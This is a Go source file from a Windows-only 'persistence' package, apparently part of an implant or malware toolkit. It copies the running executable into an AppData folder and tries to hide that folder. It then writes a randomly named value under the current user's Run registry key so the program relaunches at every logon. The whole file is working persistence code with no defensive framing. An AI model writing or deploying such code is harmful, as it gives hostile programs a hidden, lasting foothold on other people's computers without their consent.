61 lines
1.5 KiB
Go
61 lines
1.5 KiB
Go
//go:build windows && persist_registry
|
|
// +build windows,persist_registry
|
|
|
|
package persistence
|
|
|
|
import (
|
|
"crypto/rand"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"golang.org/x/sys/windows/registry"
|
|
)
|
|
|
|
func init() {
|
|
persistInstallFns = append(persistInstallFns, installRegistryFull)
|
|
}
|
|
|
|
func installRegistryFull(exePath string) error {
|
|
targetPath, err := getAppDataTargetPath()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
dir := filepath.Dir(targetPath)
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
return fmt.Errorf("failed to create directory: %w", err)
|
|
}
|
|
tryHideDirectory(dir)
|
|
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
|
if err := replaceExecutable(exePath, targetPath); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
return installRegistry(targetPath)
|
|
}
|
|
|
|
func installRegistry(targetPath string) error {
|
|
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
|
|
registry.QUERY_VALUE|registry.SET_VALUE)
|
|
if err != nil {
|
|
return fmt.Errorf("failed to open HKCU Run key: %w", err)
|
|
}
|
|
defer k.Close()
|
|
|
|
names, _ := k.ReadValueNames(0)
|
|
for _, name := range names {
|
|
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
|
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
|
|
}
|
|
}
|
|
|
|
b := make([]byte, 4)
|
|
if _, err := rand.Read(b); err != nil {
|
|
return fmt.Errorf("failed to generate registry value name: %w", err)
|
|
}
|
|
valueName := registryValuePrefix + hex.EncodeToString(b)
|
|
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
|
|
}
|